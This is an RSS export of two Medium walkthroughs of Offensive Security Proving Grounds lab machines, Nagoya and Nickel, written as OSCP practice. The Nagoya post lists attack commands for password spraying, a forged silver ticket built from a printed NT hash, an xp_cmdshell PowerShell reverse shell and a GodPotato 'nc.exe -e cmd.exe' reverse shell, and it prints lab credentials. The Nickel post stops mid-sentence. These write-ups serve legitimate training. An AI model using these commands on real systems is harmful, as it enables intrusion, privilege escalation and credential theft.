<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mariam on Medium]]></title>
        <description><![CDATA[Stories by Mariam on Medium]]></description>
        <link>https://medium.com/@huntersherlock11?source=rss-f9dcc3918e1e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PE55EfBTwLMMIMckPG9Shg.jpeg</url>
            <title>Stories by Mariam on Medium</title>
            <link>https://medium.com/@huntersherlock11?source=rss-f9dcc3918e1e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 03:07:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@huntersherlock11/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Nagoya | Offensive Security | Proving Ground Practice]]></title>
            <link>https://medium.com/@huntersherlock11/nagoya-offensive-security-proving-ground-practice-7c40ecff36d8?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7c40ecff36d8</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Tue, 08 Jul 2025 08:42:06 GMT</pubDate>
            <atom:updated>2025-07-08T08:42:06.450Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*IXKSSdBylhaOz4EhtSB8aQ.png" /></figure><p>Nagoya is a “Hard” difficulty Active Directory machine from offensive security proving ground labs. Honestly for me it was more than hard. :) In this blog, I will be explaining how I was able to solve the machine.</p><p>Starting with nmap tcp scan. There are couple of ports that are open. :)</p><pre>PORT      STATE SERVICE           REASON          VERSION<br>53/tcp    open  domain?           syn-ack ttl 125<br>| fingerprint-strings: <br>|   DNSVersionBindReqTCP: <br>|     version<br>|_    bind<br>80/tcp    open  http              syn-ack ttl 125 Microsoft IIS httpd 10.0<br>|_http-favicon: Unknown favicon MD5: 9200225B96881264E6481C77D69C622C<br>| http-methods: <br>|_  Supported Methods: GET HEAD OPTIONS<br>|_http-server-header: Microsoft-IIS/10.0<br>|_http-title: Nagoya Industries - Nagoya<br>88/tcp    open  kerberos-sec      syn-ack ttl 125 Microsoft Windows Kerberos (server time: 2025-07-06 08:46:30Z)<br>135/tcp   open  msrpc             syn-ack ttl 125 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn       syn-ack ttl 125 Microsoft Windows netbios-ssn<br>389/tcp   open  ldap              syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?     syn-ack ttl 125<br>464/tcp   open  kpasswd5?         syn-ack ttl 125<br>593/tcp   open  ncacn_http        syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ldapssl?          syn-ack ttl 125<br>3268/tcp  open  ldap              syn-ack ttl 125 Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com0., Site: Default-First-Site-Name)<br>3269/tcp  open  globalcatLDAPssl? syn-ack ttl 125<br>3389/tcp  open  ms-wbt-server     syn-ack ttl 125 Microsoft Terminal Services<br>| rdp-ntlm-info: <br>|   Target_Name: NAGOYA-IND<br>|   NetBIOS_Domain_Name: NAGOYA-IND<br>|   NetBIOS_Computer_Name: NAGOYA<br>|   DNS_Domain_Name: nagoya-industries.com<br>|   DNS_Computer_Name: nagoya.nagoya-industries.com<br>|   DNS_Tree_Name: nagoya-industries.com<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2025-07-06T08:48:51+00:00<br>| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com<br>| Issuer: commonName=nagoya.nagoya-industries.com<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2025-07-05T08:39:50<br>| Not valid after:  2026-01-04T08:39:50<br>| MD5:   ad93 0660 be5a 2b28 c25b 8816 c84d c581<br>| SHA-1: ffdd 5be3 a983 d328 dcc2 aa1d 16e2 0f48 b344 776e<br>| -----BEGIN CERTIFICATE-----<br>| MIIC/DCCAeSgAwIBAgIQXmZQJjx1l79Gs5R2J8WX3TANBgkqhkiG9w0BAQsFADAn<br>| MSUwIwYDVQQDExxuYWdveWEubmFnb3lhLWluZHVzdHJpZXMuY29tMB4XDTI1MDcw<br>| NTA4Mzk1MFoXDTI2MDEwNDA4Mzk1MFowJzElMCMGA1UEAxMcbmFnb3lhLm5hZ295<br>| YS1pbmR1c3RyaWVzLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB<br>| ALiX2PgJ5Xq4aVrJg0P8Nldgo3We55+IgqhpHmGuaTmcn+FOeluthCdnXk+oFRlw<br>| vYOx4E/KRoDatdDovs74UfFOA5ZShmHePRSvSqLwLfVOfgwmUdMFtNujBYDYJvHX<br>| ttIDvNjYY7D1CwsPyTghm9bm2MuH13xCaO+xntq79B0p4v/PeqoyC1DIJIvb7FMp<br>| iA4WzHUSfJ5JWlKVW4w7n7AA7oH+/C0qT+WplqvOB8QYbI8v7+iYOlelERQYBQs+<br>| zUp11ZbFJ+0WQf8ya1sPi1Fp0TO16p7dJW1i/zv0aZ27DRrlNJ9ak6zcwNf+vtSM<br>| awi24Zb+upNECXkYY9Q64s0CAwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEw<br>| CwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEBCwUAA4IBAQB+WT4ZBtlxr3Fdhh54f1CC<br>| jpYIx8lZOr/eSlGc8G+3+VB4TmbJoe4zadSTRIE48IlpmWdYyzzYbVjQt3fGEDjG<br>| VtRdaBVfZ2BJxuAJ1nPzp4/9th7344XI4+LFLjuXgaDVKDExQVkE1fPqI3qr8Esw<br>| Qpf8LohKDhkd/bEmGklxmI4G2Ci3c4bHiH55l3cTCn3n2CVRD/UG+JcLsf7NTGWH<br>| eNl/ITT8Xo9kba9+BrQuoUzukLlt3irR41s+iTRIUmGWUT6fXxtuce7qaEw23R9n<br>| eRzCXccdbldX7ZGf6yQ0ZrXyO4wzGYONN6w5DSWnxxcjwAm+jiGrpJGEIdyxyGs2<br>|_-----END CERTIFICATE-----<br>|_ssl-date: 2025-07-06T08:49:31+00:00; -1m10s from scanner time.<br>5985/tcp  open  http              syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>9389/tcp  open  mc-nmf            syn-ack ttl 125 .NET Message Framing<br>49666/tcp open  msrpc             syn-ack ttl 125 Microsoft Windows RPC<br>49668/tcp open  msrpc             syn-ack ttl 125 Microsoft Windows RPC<br>49676/tcp open  ncacn_http        syn-ack ttl 125 Microsoft Windows RPC over HTTP 1.0<br>49678/tcp open  msrpc             syn-ack ttl 125 Microsoft Windows RPC<br>49679/tcp open  msrpc             syn-ack ttl 125 Microsoft Windows RPC<br>49693/tcp open  msrpc             syn-ack ttl 125 Microsoft Windows RPC<br>49708/tcp open  msrpc             syn-ack ttl 125 Microsoft Windows RPC<br>49812/tcp open  msrpc             syn-ack ttl 125 Microsoft Windows RPC<br>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :<br>SF-Port53-TCP:V=7.80%I=7%D=7/6%Time=686A3831%P=x86_64-pc-linux-gnu%r(DNSVe<br>SF:rsionBindReqTCP,20,&quot;\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x<br>SF:04bind\0\0\x10\0\x03&quot;);<br>Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>I always run nmap UDP scan in case I am missing just a single port.</p><pre>##sudo nmap -Pn --top-ports 1000 -sU -vv 192.168.207.21<br><br>Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-06 14:17 PKT<br>Initiating UDP Scan at 14:17<br>Scanning nagoya-industries.com (192.168.207.21) [1000 ports]<br>UDP Scan Timing: About 15.05% done; ETC: 14:20 (0:02:55 remaining)<br>UDP Scan Timing: About 30.05% done; ETC: 14:20 (0:02:22 remaining)<br>Discovered open port 389/udp on 192.168.207.21<br>Discovered open port 123/udp on 192.168.207.21<br>Discovered open port 53/udp on 192.168.207.21<br>Completed UDP Scan at 14:18, 76.95s elapsed (1000 total ports)<br>Nmap scan report for nagoya-industries.com (192.168.207.21)<br>Host is up, received user-set (0.10s latency).<br>Scanned at 2025-07-06 14:17:14 PKT for 77s<br>Not shown: 997 open|filtered ports<br>Reason: 997 no-responses<br>PORT    STATE SERVICE REASON<br>53/udp  open  domain  udp-response ttl 125<br>123/udp open  ntp     udp-response ttl 125<br>389/udp open  ldap    udp-response ttl 125<br><br>Read data files from: /usr/bin/../share/nmap<br>Nmap done: 1 IP address (1 host up) scanned in 77.00 seconds<br>           Raw packets sent: 1999 (57.817KB) | Rcvd: 6579 (929.092KB)</pre><p>Enumeration:</p><p><strong>SMB -445</strong></p><p>Starting with directory listing with anonymous login enabled or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BtG7S-hdjRbu2dMbvqUR0Q.png" /></figure><p>rpc 135</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sTTaJngaOeOdGFP3kqrh3Q.png" /><figcaption>We cannot enumerate domain users :(</figcaption></figure><p>Port 80 :</p><p>I found an endpoint through which I was able to see the members of the team.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hRIJE9B5GG_qMwcJTncEng.png" /></figure><p>I create a file for these usernames and used username anarchy to create multiple possibilities for usernames as shown in the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pYXcakAlDB-Mg1biStwogQ.png" /></figure><p>We found couple of valid users.</p><pre> ./kerbrute_linux_amd64 userenum -d nagoya-industries.com ~/oscp/prac/AD/nagoya/kerb.txt --dc  192.168.111.21</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hNn0KFASvedcX-nhLwGwYQ.png" /></figure><p>We can use these usernames to check for asrep roasting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aaAZ5vR7BI1_u0CxTi_Row.png" /></figure><p>I have a list of users. One thing I can do is bruteforce password for these users maybe that will work.</p><pre>crackmapexec.cme smb $IP -u valid.txt -p rockyou.txt</pre><p>Luckily we found a password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fnJAG9tFQtX0y9ULBO6rCg.png" /><figcaption>Password is seasonName:year of the box released</figcaption></figure><p>This password can be sprayed across multiple services to check:<br>• smb — checking any write permissions/sensitive files.<br>• kerberosting — getting user hash<br>• rpc — get user info<br>• Ldap — finding valuable foothold<br>• Run Bloodhound</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*avJunCbScYg_BpiuhzYiWQ.png" /><figcaption>No “Special” Shares</figcaption></figure><p>Let’s enumerate default shares NETLOGON and SYSVOL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mHTsnKxVg1EGfFLl1UtFbg.png" /></figure><p>There are some binaries. Let’s copy them to our local machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*Nldywp7W4VRG1fKoTXGVrA.png" /><figcaption>Password for svc_helpdesk</figcaption></figure><pre>svc_helpdesk<br>U299iYRmikYTHDbPbxPoYYfa2j4x4cdg</pre><p>I tried using this password to login using evil-winrm but it didn’t work. Let’s enumerate further using bloodhound.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UpSN_92uV-VjPAUDOiWuVw.png" /></figure><p>svc_helpdesk is a member of helpdesk group which has generic all permissions of christopher lewis. When an account or security principal (user, group, computer) has <strong>Generic All</strong> on an object, they can:</p><ul><li><strong>Read</strong> and <strong>write</strong> all properties.</li><li><strong>Modify permissions</strong> (change ACLs).</li><li><strong>Delete</strong> the object.</li><li><strong>Create or delete child objects.</strong></li><li><strong>Reset passwords</strong> (for user objects).</li><li><strong>Add themselves to security groups</strong></li></ul><p>I will try changing the password for this user to see if that works or not (technically it should)</p><pre>net rpc password ‘christopher.lewis’ ‘newPassword123’ -U “nagoya-industries.com/svc_helpdesk%&lt;Password&gt;” -S $IP</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*onywiTpz4iR9wdcTSIbIyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1hABJodPRo_QSl-NT9qfQ.png" /></figure><p>1st User has been pwned I can read local.txt</p><p><strong># Privilege Escalation</strong></p><p>I started enumerating the following</p><ul><li>User, groups, group members, finding Logged in Users</li><li>Operating System</li><li>ACL Permissions</li><li>Automated enumeration via Powerup, winpease</li></ul><p>While enumerating internal ports I saw that 1433 port is open which is for mssql service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1h53srURwMqGObalk606mA.png" /></figure><p>Port forwarding might help. Maybe we can run xp_cmdshell commands and get a shell as svc_msql user.</p><pre> python3 mssqlclient.py svc_mssql:&#39;Service1&#39;@127.0.0.1 -windows-auth</pre><p>I got access to 1433 port as svc_mssql but I was not able to do anything.</p><p>Other way to exploit this could be silver ticket attack.</p><h4><strong>Silver Ticket Attack</strong></h4><p>A Silver Ticket attack allows an attacker to forge Kerberos service tickets (TGS) for specific services (like MSSQL, HTTP, or CIFS) without contacting the Domain Controller. This is possible when the attacker knows the NTLM hash of the service account (usually obtained via Kerberoasting). Since the ticket is encrypted using that hash, the attacker can craft a fake ticket offline and use it to authenticate as any user — even an admin — to that service</p><p><strong>Exploitation</strong></p><p><strong>Port Fowarding</strong></p><p><strong>On Comprised</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WNzpgVqb9Ix1JcKyQfNRIw.png" /></figure><p><strong>On Linux Machine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*u__hGw8HbjtrI8G_Ktc9Sg.png" /></figure><p>This way we will be able to access mssql service on our local machine.</p><p><strong>Silver Ticket</strong></p><p>For performing silver ticket attack we need following things</p><ul><li><em>DomainSID : S-1–5–21–1969309164–1513403977–1686805993</em></li><li><em>ServicePrincipalNames : {MSSQL/nagoya.nagoya-industries.com}</em></li><li><em>nthash: E3A0168BC21CFB88B95C954A5B18F57C</em></li></ul><p>using <strong>ticketer.py</strong> from most favorite impact tools :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RtGCWRx-sp5Twm4JXuBVsg.png" /></figure><pre>python3 ticketer.py  -domain nagoya-industries.com -nthash E3A0168BC21CFB88B95C954A5B18F57C -spn {MSSQL/nagoya.nagoya-industries.com}  -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -user-id 500 Administrator<br><br>export KRB5CCNAME=Administrator.ccache<br><br>create /etc/krb5user.conf</pre><p><strong>/etc/krb5user.conf</strong></p><p>/etc/krb5user.conf is not a default file in typical Kerberos setups, but it is sometimes used by custom tools—such as those in the Impacket framework—to provide Kerberos configuration on a per-user basis without modifying the global Kerberos config file (/etc/krb5.conf). This file allows users or tools to define specific Kerberos realms, domain-to-realm mappings, and KDC (Key Distribution Center) addresses.</p><pre>[libdefaults]<br>        default_realm = NAGOYA-INDUSTRIES.COM<br>        kdc_timesync = 1<br>        ccache_type = 4<br>        forwardable = true<br>        proxiable = true<br>    rdns = false<br>    dns_canonicalize_hostname = false<br>        fcc-mit-ticketflags = true<br><br>[realms]<br>        NAGOYA-INDUSTRIES.COM = {<br>                kdc = nagoya.nagoya-industries.com<br>        }<br><br>[domain_realm]<br>        .nagoya-industries.com = NAGOYA-INDUSTRIES.COM</pre><p>Now that we have everything set up for performing silver ticket attack, lets use mssql-client to exploit. Finally, It is working</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*r1VEA5iZs6ma8G2ywcPzLg.png" /></figure><p>Reverse Shell Payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hT2gvaHzhIBtUFih8SgXXg.png" /><figcaption>Change the IP and Port here</figcaption></figure><pre>xp_cmdshell powershell -r &lt;base64&gt;</pre><p>Now I got a shell as svc_mssql</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*Y3czl1_wcM5ez9sdHZW7NQ.png" /></figure><p>Now we have some privileges there through which we can escalate our privileges from user to Admin.</p><p>I found this article very helpful in learning the abuse of these privileges.</p><p><a href="https://sirensecurity.io/blog/windows-privilege-escalation-resources/">https://sirensecurity.io/blog/windows-privilege-escalation-resources/</a> <a href="https://motasemhamdan.medium.com/active-directory-pentesting-offensive-security-proving-grounds-access-writeup-ddf4f3c6fcb9">https://motasemhamdan.medium.com/active-directory-pentesting-offensive-security-proving-grounds-access-writeup-ddf4f3c6fcb9</a></p><p>We can use SeImpersonatePriv using Godpotato.exe to get shell as Administrator</p><p><strong>On mssql_svc</strong></p><p><a href="https://github.com/BeichenDream/GodPotato">https://github.com/BeichenDream/GodPotato</a></p><pre>./godpotato.exe -cmd &quot;nc.exe $IP $Port -e cmd.exe&quot;</pre><p>Shell as Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*TXZYaenMvxWe21NUH8AvDg.png" /></figure><p>That’s all. That was the hardest box for me lol. I got stuck in lots of rabbit holes and took me two days to solve this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7c40ecff36d8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Ground Walkthrough — Nickel]]></title>
            <link>https://medium.com/@huntersherlock11/proving-ground-walkthrough-nickel-ff4c8dff99a0?source=rss-f9dcc3918e1e------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff4c8dff99a0</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-certification]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[Mariam]]></dc:creator>
            <pubDate>Sun, 01 Jun 2025 12:15:41 GMT</pubDate>
            <atom:updated>2025-06-01T12:15:41.097Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Ground Walkthrough — Nickel</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*IXKSSdBylhaOz4EhtSB8aQ.png" /></figure><p>Nickel is a “Medium” difficulty windows machine from offensive security proving ground labs. In this blog, I will be explaining how I was able to solve the machine.</p><p><strong>Nmap</strong></p><p>Let’s start enumerating with nmap scan.</p><pre>Reason: 65405 resets and 114 no-responses<br>PORT      STATE SERVICE       REASON          VERSION<br>21/tcp    open  ftp           syn-ack ttl 125 FileZilla ftpd<br>| ftp-syst:<br>|_  SYST: UNIX emulated by FileZilla<br>22/tcp    open  ssh           syn-ack ttl 125 OpenSSH for_Windows_8.1 (protocol 2.0)<br>| ssh-hostkey:<br>|   3072 86:84:fd:d5:43:27:05:cf:a7:f2:e9:e2:75:70:d5:f3 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYR4Bx82VWETlsjIFs21j6lZ6/S40jMJvuXF+ay4Qz4b+ws2YobB5h0+IrHdr3epMNFmSY8JXFWzIILhkvF/rmadXRtGwib1VZkSa3nr5oYdMajoWK0jOVSoFJmDTJvhj+T3XE7+Q0tEkQ2EeGPrz7nK5XWzBp8SZdywCE/iz1HLvUIlsOqpDWHSjrnjkUaaleTgoVTEi63Dx4inY2KS5mX2mnS/mLzMlLZ0qj8vL9gz6ZJgf7LMNhXb/pWOtxfn6zmSoVHXEXgubXwLtrn4wOIvbZkm5/uEx+eFzx1AOEQ2LjaKItEqLlP3E5sdutVP6yymDTGBtlXgfvtfGS2lgZiitorAXjjND6Sqcppp5lQJk2XSBJC58U0SzjXdyflJwsus5mnKnX79nKxXPNPwM6Z3Ki1O9vE+KsJ1dZJuaTINVgLqrgwJ7BCkI2HyojfqzjHs4FlYVHnukjqunG90OMyAASSR0oEnUTPqFmrtL/loEc3h44GT+8m9JS1LgdExU=<br>|   256 9c:93:cf:48:a9:4e:70:f4:60:de:e1:a9:c2:c0:b6:ff (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDJYE805huwKUl0fJM8+N9Mk7GUQeEEc5iA/yYqgxE7Bwgz4h5xufRONkR6bWxcxu8/AHslwkkDkjRKNdr4uFzY=<br>|   256 00:4e:d7:3b:0f:9f:e3:74:4d:04:99:0b:b1:8b:de:a5 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL8cLYuHBTVFfYPb/YzUIyT39bUzA/sPDFEC/xChZyZ4<br>80/tcp    open  http          syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>| http-methods:<br>|_  Supported Methods: GET<br>|_http-title: Site doesn&#39;t have a title.<br>135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn<br>445/tcp   open  microsoft-ds? syn-ack ttl 125<br>3389/tcp  open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services<br>| rdp-ntlm-info:<br>|   Target_Name: NICKEL<br>|   NetBIOS_Domain_Name: NICKEL<br>|   NetBIOS_Computer_Name: NICKEL<br>|   DNS_Domain_Name: nickel<br>|   DNS_Computer_Name: nickel<br>|   Product_Version: 10.0.18362<br>|_  System_Time: 2025-06-01T10:47:26+00:00<br>| ssl-cert: Subject: commonName=nickel<br>| Issuer: commonName=nickel<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2025-05-31T10:06:40<br>| Not valid after:  2025-11-30T10:06:40<br>| MD5:   abb8 0473 bb6e 2f9f 909c 1d4b 39a8 baa7<br>| SHA-1: e33c 762b 305d da01 fc38 e6f6 29eb 69f5 b5df 87a2<br>| -----BEGIN CERTIFICATE-----<br>| MIIC0DCCAbigAwIBAgIQYujzVNU0OJtF5Pt2jdqlLjANBgkqhkiG9w0BAQsFADAR<br>| MQ8wDQYDVQQDEwZuaWNrZWwwHhcNMjUwNTMxMTAwNjQwWhcNMjUxMTMwMTAwNjQw<br>| WjARMQ8wDQYDVQQDEwZuaWNrZWwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK<br>| AoIBAQDCXZgj7GrKKmqiIR+X8wdw+QLifAN5A5oTbcawzniofJDBT1YY+cnJdQKB<br>| q8/tDLH/3vxJMR4CdGNtTb2zcIMXZrDUjCRpht6BrcI4IMlcrrxJdeGerC+ipPEx<br>| AidFy9it4Tt1gsUv+ESn6e2aLB7UIauSvz80JeuW2D3VMH4m64lhP+KXbluAY7jN<br>| E/B58kkOBnSg4AhRuIoRNk9qG01QLUqC3drxLkOeBw3KA1WikNNg1fdJ8P/B5L7T<br>| P1uTju8IMpbwQFxYKrhbB6vkIXNwbOHEeMdTpwlXdamA9H/3SaZJPukkpGMQ69nO<br>| gIKf2LgZ5tZU5K9dgrobMvp9F7s9AgMBAAGjJDAiMBMGA1UdJQQMMAoGCCsGAQUF<br>| BwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsFAAOCAQEAQz7cTH2Ee3aLAXmP<br>| Rg69BYsH7MAtsvDzkrTyBPg5FC0lBsOFMcyyTO75Ov1h4EcVZEQVvUuTG9O+pszi<br>| PCxkE5S2jOj63hk44E5cdNORecSZMNdqCr9G95tlsCTNTB/rAxcgwoRrHwJmTPBp<br>| VElAu1v0+Q2PRU6/mD4SQ7cU91G6a3qWezc10uY6W/nOrBFUroXmKnsR97WjZZMl<br>| AKx9F+Fqnzqdy5MH8gxbqRVlFMynV/4KPFm9udk+nZOJWrCB537SIxkZWigK1HDD<br>| UxvcjvyTVw6Apq3BfGVNFDqs8Avr80I/zgMm+ItI2yREeK8iNhFphhth/dlxEd3R<br>| xkCGzA==<br>|_-----END CERTIFICATE-----<br>|_ssl-date: 2025-06-01T10:48:41+00:00; -1m05s from scanner time.<br>5040/tcp  open  unknown       syn-ack ttl 125<br>8089/tcp  open  http          syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-favicon: Unknown favicon MD5: 9D1EAD73E678FA2F51A70A933B0BF017<br>| http-methods:<br>|_  Supported Methods: GET<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Site doesn&#39;t have a title.<br>33333/tcp open  http          syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-favicon: Unknown favicon MD5: 76C5844B4ABE20F72AA23CBE15B2494E<br>| http-methods:<br>|_  Supported Methods: GET POST<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Site doesn&#39;t have a title.<br>49664/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49665/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49666/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49667/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>49669/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p><strong>FTP — 21</strong></p><p>For FTP enumeration we can check for anonymous login and for weak credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*vaX5pxqfgGLClWEbQ-I39A.png" /><figcaption>anonymous login</figcaption></figure><p>Banner grabbing for ftp. FileZilla server 0.9.60 is being used. I searched for exploits associated with this version but there was no exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*4bV2ypruYdlMcL0r1jlZTQ.png" /><figcaption>Banner Grabbing</figcaption></figure><p><strong>SMB — 445</strong></p><p>I checked for anonymous login using smbclient and smbmap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7SdwvePR6srB80YpzZLiQQ.png" /></figure><p><strong>RPC — 135</strong></p><p>Let’s check if we can login to RPC port and login anonymously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*0NJXd8JJdEWm8uiDKj8LbQ.png" /></figure><p><strong>RDP — 3389</strong></p><p>Right now I don’t have any credentials so we will come back to this port if we find some credentials.</p><p><strong>Port — 8089</strong></p><p>On 8089, we have some buttons which redirects to some other location and to some other port. Maybe that is open internally at this point I am clueless.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E34PjudnHDhzgZOhNmtT-Q.png" /></figure><p><strong>Port — 33333</strong></p><p>We need token? from where we can get this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lRDaASbq_sf99yrjpawynw.png" /></figure><p>Let’s change the request method from GET to POST may we get something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eOatCayI6Z_383Ef6FXPPA.png" /></figure><p>from port 8089 we had three paths /list-active-nodes, /list-running-procs and /list-current-deployments. With /list-running-procs we see that there are some credentials for ariah user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WtcRM3TRU0A-yG1jbeQYCw.png" /><figcaption>ariah creds</figcaption></figure><p>So we got some credentials. I tried login in with SSH using this string but it didn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xaY7DJUCnwSsyLvlXkC4zQ.png" /></figure><p>Maybe this is encoded so let us check this string with cyber chef. So, let’s decode this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bm8iIGZtoIlUx8S_E3MR8g.png" /></figure><p>Now I used this to login to SSH &amp; we are in !!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*aHkn41cpopRrrxlGnI9atw.png" /></figure><h3>Post Exploitation</h3><p>Let’s start enumerating the box and see where we can get something for privilege escalation.</p><p><strong>User Information</strong></p><p>Ariah has no special privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDuN-3BzxPuk7mgnZvgEhw.png" /></figure><p><strong>Network Configurations</strong></p><p>Interfaces</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*ZRU_Cp8WC4-RFcZHAONVYg.png" /></figure><p>Internal Open Ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*esWXSazK6EmBPLs3rfYrkg.png" /></figure><p><strong>Running Process</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*5qrlqwuT3Oz-FcUyV0PDGw.png" /></figure><h3><strong>C:\ Enumeration</strong></h3><p>This is very crucial step to always check for files and directories in C:\ drive. Let’s check for ftp.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*D58PPXUxn8Xuaim0z2XqWg.png" /></figure><p>Copy infrastructure.pdf to local machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/754/1*5Io9SZE4oPbyPtZ90osk9w.png" /></figure><p>That was a password protected pdf file. I used 